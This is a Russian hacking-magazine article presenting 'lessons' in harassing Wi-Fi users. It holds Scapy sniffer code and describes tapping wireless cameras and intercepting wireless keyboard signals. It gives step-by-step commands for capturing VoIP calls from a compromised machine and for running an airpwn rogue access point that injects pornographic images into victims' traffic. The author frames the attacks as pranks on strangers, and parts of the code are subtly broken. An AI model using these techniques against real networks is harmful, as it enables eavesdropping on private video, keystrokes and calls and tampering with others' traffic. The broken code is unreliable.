Беспрецедентное хамство в Wi-Fi сетяхАндрей «Skvoznoy» Комаров Хакер, номер #104, стр. 030 (komarov@itdefence.ru) 5 новых уроков западлостроения Для того чтобы положить ноутбук в рюкзак и запустить сканер беспроводных сетей, большого ума не надо. Можно долго ходить по окрестностям, до умопомрачения сканить эфир и, возможно, даже возомнить себя великим вардрайвером, но что с того? Тупое сканирование наобум едва ли даст желаемые результаты, а кайфа от этого — ноль. Поэтому недолго думая мы решили: если уж глумиться в беспроводных сетях, то полной. И вот что из этого получилось. Раз уж развелась куча девайсов, использующих беспроводную связь, а люди безнадежно привыкли к Wi-Fi, почему бы немного не поприкалываться. В конце концов, пора спустить бедняг на землю и напомнить им, что лучше дедовских проводных соединений до сих пор ничего не придумали. Оказалось, что подходящих способов поглумиться над Wi-Fi пользователями не один и не два, а привычные инструменты для взлома можно написать самому. При наличии желания, естественно. Вот, пожалуй, с этого и начнем. Урок №1. Ловкость рук и никакого мошенничества Какой вообще смысл в западлостроении? Правильно, получить очередную дозу кайфа и адреналина. Если речь идет о high tech западлостроении, очень важно сделать все самому с нуля. Ну, скажем, какой прикол использовать уже готовые инструменты типа Netstumbler’а для поиска беспроводных устройств? Тут и делать-то ничего не надо: просто запустил программу и все. Другое дело - смастерить свой сканер, показать его друзьям и подумать, как его еще улучшить. Тем более что во всех паблик-утилитах (Netstumbler, DStumbler, Wellenreiter) содержатся так называемые «пасхальные яйца», по сигнатурам которых можно определить стороннюю активность и взять за яйца уже тебя. Поэтому сейчас мы сделаем собственный сканер, который будет осуществлять пассивное сканирование сети методом перехвата SSID-идентификаторов. Весь проект займет несколько строчек кода на Python (в прошлом номере с его помощью мы написали свою навигационную систему), а в основу мы положим замечательную библиотеку Scapy (www.secdev.org/projects/scapy), предназначенную для манипуляции сетевыми пакетами. К сожалению, под Виндой это реализуется на несколько порядков сложнее, поэтому в качестве платформы мы выберем Linux. Собственно, ничего страшного в этом нет, объясняю почему. Во-первых, дистрибутив подходящих никсов в лице Kubuntu (www.kubuntu.org) будет на нашем диске; во-вторых, драйверы для беспроводных интерфейсов устанавливаются там автоматически; в-третьих, тебе даже не придется заморачиваться по поводу Python’а. Надо будет только скачать нужную версию библиотеки и установить ее в системе: cd /scapy/ & python setup.py install. И все! Разве ж это сложно? Далее приступаем к составлению самой программы. Наш сканер будет палить специальные фреймы, которые содержат уникальный идентификатор сети SSID (Service Set Identifier) и рассылаются точкой доступа. Их также называют Beacon-фреймами. По ним мы и будем определять найденные сети. import sys from scapy import * print "Wi-Fi SSID passive sniffer" interface = sys.argv[1] #задаем название интерфейса в качестве дополнительного консольного аргумента def sniffBeacon(p): if p.haslayer(Dot11Beacon): print p.sprintf("%Dot11.addr2%[%Dot11Elt.info%|%Dot11Beacon.cap%]") sniff(iface=interface,prn=sniffBeacon) Вывод программы содержит информацию о перехваченных Beacon-фреймах: skvoz@box: sniffssid.py eth1 00:12:17:3c:b6:ed['netsquare4'|short-slot+ESS] 00:30:bd:ca:1e:1e['netsquare7'|ESS+privacy] Советую тебе также поэкспериментировать с выбором haslayer (параметра мониторинга), поменяв его значение Dot11Beacon на: Dot11AssoResp, Dot11ProbeReq, Dot11ATIM, Dot11Auth, Dot11ProbeResp, Dot11Addr2MACField, Dot11Beacon, Dot11ReassoReq, Dot11Addr3MACField, Dot11Deauth, Dot11ReassoResp, Dot11Addr4MACField, Dot11Disas, Dot11WEP, Dot11AddrMACField, Dot11Elt, Dot11AssoReq, Dot11PacketList. Так можно перехватить не только SSID точки доступа, но и всю остальную информацию о сети. К примеру, узнать информацию о физических идентификаторах пользователей и сетевых обращениях. Для этого мы задействуем протокол ARP: import sys, os from scapy import * interface = raw_input("enter interface") #пользователь задает интерфейс сети os.popen("iwconfig interface mode monitor") #перевод карты в режим монитора на заданном интерфейсе #функция перехвата MAC def sniffMAC(p): if p.haslayer(Dot11): mac = p.sprintf("[%Dot11.addr1%)|(%Dot11.addr2%)|(%Dot11.addr3%)]") print mac #функция перехвата IP-адресов и показа ARP сообщений def sniffarpip(p): if p.haslayer(IP): ip = p.sprintf("IP - [%IP.src%)|(%IP.dst%)]") print ip elif p.haslayer(ARP): arp = p.sprintf("ARP - [%ARP.hwsrc%)|(%ARP.psrc%)]-[%ARP.hwdst%)|(%ARP.pdst%)]") print arp #уровни, которые мы мониторим sniff(iface=interface,prn=sniffMAC, prn=sniffarpip) Вывод: skvoz@puffy: python sniff.py eth1 [ff:ff:ff:ff:ff:ff)|(00:30:bd:ca:1e:1e)|(00:30:bd:ca:1e:1e)] IP - [192.168.7.41)|(192.168.7.3)] ARP - [00:0f:a3:1f:b4:ff)|(192.168.7.3)]-[00:00:00:00:00:00)|(192.168.7.41)] Урок №2. С глазу на глаз Ну вот — сканер готов, можно двигаться дальше. А дальше, кстати говоря, самое интересное. Я уже сказал, что беспроводную связь сейчас используют самые разные девайсы, в том числе беспроводные видеокамеры, радиотелефоны, домашнее оборудование, работающее по протоколу x10, и даже некоторые автомобильные сигнализации. Не знаю, как у тебя, а у меня прямо руки чешутся - так хочется подключиться к системе видеокамер какой-нибудь организации и посмотреть, кто, чем и где занимается. Думаешь, это невозможно? Ошибаешься. Процесс нахождения и эксплуатирования в своих целях подобных девайсов называется warviewing (иначе warspying) и впервые был упомянут в культовом журнале «2600». Большинство камер не имеет шифрования, поэтому перехватить передаваемую ими картинку, вообще говоря, ничего не стоит. И даже если попадется камера с пресловутым WEP-шифрованием, ничего не изменится. Поскольку «глазик» постоянно нагнетает трафик за счет своего вещания, можно очень быстро перехватить необходимое для взлома количество инициализационных векторов (IV) и расшифровать ключ. Камеры в большинстве своем работают по четырем каналам передачи сигнала: channel A = 2,411 ГГц channel B = 2,434 ГГц channel C = 2,453 ГГц channel D = 2,473 ГГц Обычно для поиска таких аппаратов используют направленную антенну для усиления сигнала и видеоресивер, а в случае необходимости еще и отдельный экран или монитор ноутбука для просмотра изображения. Самые популярные модели таких ресиверов — Icom IC-R3 и Action ACN-53292. У них имеется встроенный LCD-экран, поэтому использовать дополнительное оборудование. Все, что от тебя требуется, — это настроить девайс на нужную частоту и оказаться в пределах радиовещания камеры. Впрочем, в большинстве случаев можно обойтись даже без дополнительного оборудования. Не так давно на страницах нашего журнала освещалась прога hauditor (www.itdefence.ru), которая занимается поиском web-панелей администратора различного сетевого оборудования, в том числе точек доступа и даже камер, внутри сети. Заюзав ее, ты сможешь посмотреть изображение в окне своего браузера. Тут уже невольно задумываешься о том, куда катится этот мир. Урок №3. Печатайте помедленнее! Многие пользователи сейчас предпочитают шиковать и использовать радиоклавиатуры. И зря. В Сети давно распространяются списки с частотами, на которых работают эти девайсы, поэтому любые данные теоретически и практически можно перехватить. Вот лишь малая часть списка, касающаяся наиболее популярного оборудования: 27,045, 27,095, 27,145 МГц - клавиатуры и мыши от фирм Logitech, Microsoft и HP 49 МГц - клавиатуры бренда Gryation 900 МГц - беспроводные телефоны (станции DECT, VoIP) 2,4 ГГц - 802.11b (Wi-Fi) 2,4 ГГц - Bluetooth 5 ГГц - 802.11a (Wi-Fi) Нам понадобится чувствительный радиоприемник и компьютер со звуковой картой. Я приобрел не китайскую фигню, а профессиональный девайс Icom R-75, работающий на частотах от 0,03 до 60 МГц. Устройство комплектуется самыми различными кабелями, поэтому подключить его к компьютеру, и в частности к звуковушке, не соствит труда. Но перехватить данные мало. Операция передачи сигнала между клавиатурой/мышкой и приемником происходит по пейджинговому стандарту данных POCSA. Поэтому требуется обзавестись еще и программным POCSAG-декодером, который, используя звуковую карту, сможет получить вполне читаемый текст из непонятного перехваченного барахла: "A" 1010 - 1011 - 1100 - 0100 - 1001 - 0011 - 1010 "Page Down" - 1010 - 0101 - 1100 - 0101 - 1011 - 1001 – 1010 Для этого можно использовать: SemaSoft 1.15, SemaSoft16 bit, POC32, Simple Circuit, PD203, Bravo pager, PE200, POCSAG Decoder v2.0. Отмечу, что такие фокусы очень часто применяются в промышленном шпионаже, поэтому на стеклах важных ведомственных учреждений и банков зачастую можно увидеть алюминиевые обкладки, препятствующие распространению сигнала и ПЭМИН (побочного радиомагнитного излучения). Урок №4. Кто на линии? Камеры, мышки и клавиатуры — кто следующий? На очереди радиотелефоны. Все популярнее становится стандарт Vo-Fi (Voice Over Wi-Fi), являющийся основой при создании всевозможных голосовых удобств для сотрудников различных компаний. Беда в том, что он подвержен сразу нескольким угрозам, среди которых перехват звонков. Для реализации этой штуки нам, помимо тривиального набора вардрайвера (на тот случай, если задействовано шифрование или фильтрация по MAC-адресам), понадобятся утилиты VoiPong (www.enderunix.org/voipong) и vomit (vomit.xtdnet.nl). Предположим, ты проник в место, где расположен заветный VoIP-шлюз (это обычный сервер с соответствующим программным обеспечением или же аппаратная реализация с Linux’ом на борту), и поместил сюрприз на любую взломанную машину, которая находится в том же сетевом окружении. После сборки VoiPong твои действия будут таковы: 1) сначала правь /usr/local/etc/voipong.conf, где нужно вписать несколько понятных параметров подключения. 2) затем запускай сам сервер командой voipong -d4. Подключение: skvoz@puffy: telnet 143.245.12.12 30000 Trying 143.245.12.12... Connected to 143.245.12.12. Escape character is '^]'. EnderUNIX VOIPONG Voice Over IP Sniffer Welcome to management console System: efe.dev.enderunix.org [FreeBSD 5.3-RELEASE FreeBSD 5.3-RELEASE #0: mb@efe.dev.enderunix.org:/usr/src/sys/i386/compile/EFE i386] После этого не забудь авторизироваться: voipong> pass word login successfull voipong> help Commands: help : this one quit : quit management console logrotate : rotate server's logs shutdown : shutdown server rusage : CPU usage statistics for the server info : General server information uptime : Server uptime calllist : Show currently monitored calls killsession [id] : end monitoring session with [id] voipong> Через несколько минут/секунд/часов (как повезет) программа выдаст тебе заветное сообщение: VoIP call detected. 10.0.0.49:49606 <--> 10.0.0.90:49604. Encoding: 0-PCMU-8KHz maximum waiting time [10 sn] elapsed for this call, call might have been ended. .WAV file [output/20041119/session-enc0-PCMU-8KHz-10.0.0.49,49606-10.0.0.90,49604.wav] has been created successfully. Все, звонок перехвачен! Но прослушать его нельзя. Проблема в том, что файлы с аудиоданными находятся в формате, разработанном CISCO: G.711. И чтобы привести их в человечески вид, придется прибегнуть к специальной тулзе vomit. Впрочем, ничего сложного в этом нет: tcpdump w perexvat.file vomit r perexvat.file > perexvat.wav
Урок №5. Фильтруй базар В завершение хочу поведать тебе прикольную историю, которая произошла на двенадцатой хакерской конференции Defcon 12. Для удобства проведения этого мероприятия организаторы, само собой, подняли Wi-Fi сеть, обеспечив участникам возможность использовать интранет, а также просто тусить в онлайне. К всеобщему удивлению, после подключения народ стал замечать различные приколы на экранах своих ноутбуков: вместо привычного Google, открывалась жесткая порнуха, а привычная графика на известных ресурсах была заменена элементами хакерского жаргона. Недоумение рассеялось после выступления умельца по имени Дейв из www.evilscheme.org - автора утилиты airpwn, которая, собственно, и натворила столько дел. В основе этого фокуса лежит эмуляция ложной точки доступа (Evil Twin/Rogue AP), которая может осуществляться разными способами. Рекомендуется использовать две PCMCIA- или CF-карты: одну для мониторинга сети на предмет запросов пользователей, а вторую для организации fake-AP. Так как моя карточка поддерживает программный переход в режим мониторинга (monitor mode), то последовательность моих действий примерно такова: 1) на ноуте я поднимаю точку со схожим идентификатором SSID: iwpriv wlan0 hostapd iwconfig wlan0 mode master #номер канала# essid #Xakep# 2) другую же карту перевожу в режим монитора; ее предназначение в том, чтобы в общем потоке трафика обнаружить запросы, правила на которые мы составили в конфигурационных файлах airpwn. iwpriv eth0 monitor ifconfig wlan0ap up 3) в конфиге airpwn прописываем: begin airpwned_img match ^GET [^ ]+\.(?i:jpg|jpeg|gif|png) option reset response content/airpwned_png 4) в папке content создаем файл со следующим содержимым: HTTP/1.1 200 OK Connection: close Content-type: image/png Content-length: 1037 #сюда вставляем исходник любой картинки, который можно получить, просто открыв любое изображение в текстовом редакторе 5) обрабатываем весь проходящий через нас трафик с помощью собственных правил для нужных протоколов (HTTP, FTP и т.д.), заданных в конфигах airpwn airpwn –i eth0 –o wlan0 –c home/skvoz/conf/airpwned_png Конструкция начинает работать, и глаза юзеров постепенно изменяются в диаметре после взгляда на похабные логотипы на известных ресурсах. Неужели дефейс? Нет, все это airpwn. Другой пример, в котором пользователь коннектится на свой домашний FTP и, вместо приветствия, видит черт-те что, мы выложили на диск. Обязательно посмотри, любопытное зрелище. Занимательный кодинг Продолжая расхваливать замечательный язык Python, хочу поделиться реализацией простейшего сканера bluetooth-устройств, который с помощью модуля pybluez (org.csail.mit.edu/pybluez) можно уместить всего в 12 строчках кода. from bluetooth import * target_name = "Phone" target_address = "None" devices = discover_devices() for address in devices: if target_name == lookup_name(address): target_adress = address break if target_address is not None: print "найдено bluetooth-устройство", target address else: print "не найдено" Почему никсы? Если ты заметил, большая часть описанного в статье работает только на unixware/xbsd-платформах. К сожалению, (точнее, к счастью), основной фактор, отпугивающий вардрайверов, - закрытые исходные коды платформы Windows. Да, конечно, в произведении от Гейтса есть средства для разработки, связанной с Wi-Fi, и подтверждением этому является Wi-Fi API (msdn2.microsoft.com/en-us/library/ms706556.aspx), но оно не позволяет воплощать вардрайверские фантазии в полном объеме. Советую тебе обзавестись одним из знаменитых наборов для Wi-Fi хакеров - Warlinux (sourceforge.net/projects/warlinux) или аналогичным LiveCD-софтом для проведения тестов на проникновение (Backtrack 2, Pentoo, Auditor). Как правило, на них уже предустановлены все необходимые модификации и драйверы. INFO Проникся темой и уже готов бежать на улицы своего города в поисках беспроводных сетей? Рад, если это так, только знай всему меру. Буду признателен, если ты поделишься своими результатами на www.wardriver.ru. Это поможет общему делу и создаст детализированный и независимый отчет о современном радиопокрытии. WWW Познакомиться с искусством wartyping'a ты сможешь на этом ресурсе: www.wartyping.com. Там же приведены примеры частот для наиболее популярного оборудования. VIDEO На диске выложен наглядный пример поиска контроль-панели беспроводной Wi-Fi камеры для контроля периметра с помощью утилиты Hauditor, написанной кодером KSURi. DVD Подходящий Linux-дистрибутив, скрипты, весь упомянутый в статье софт — все это, само собой, ты найдешь на нашем DVD. |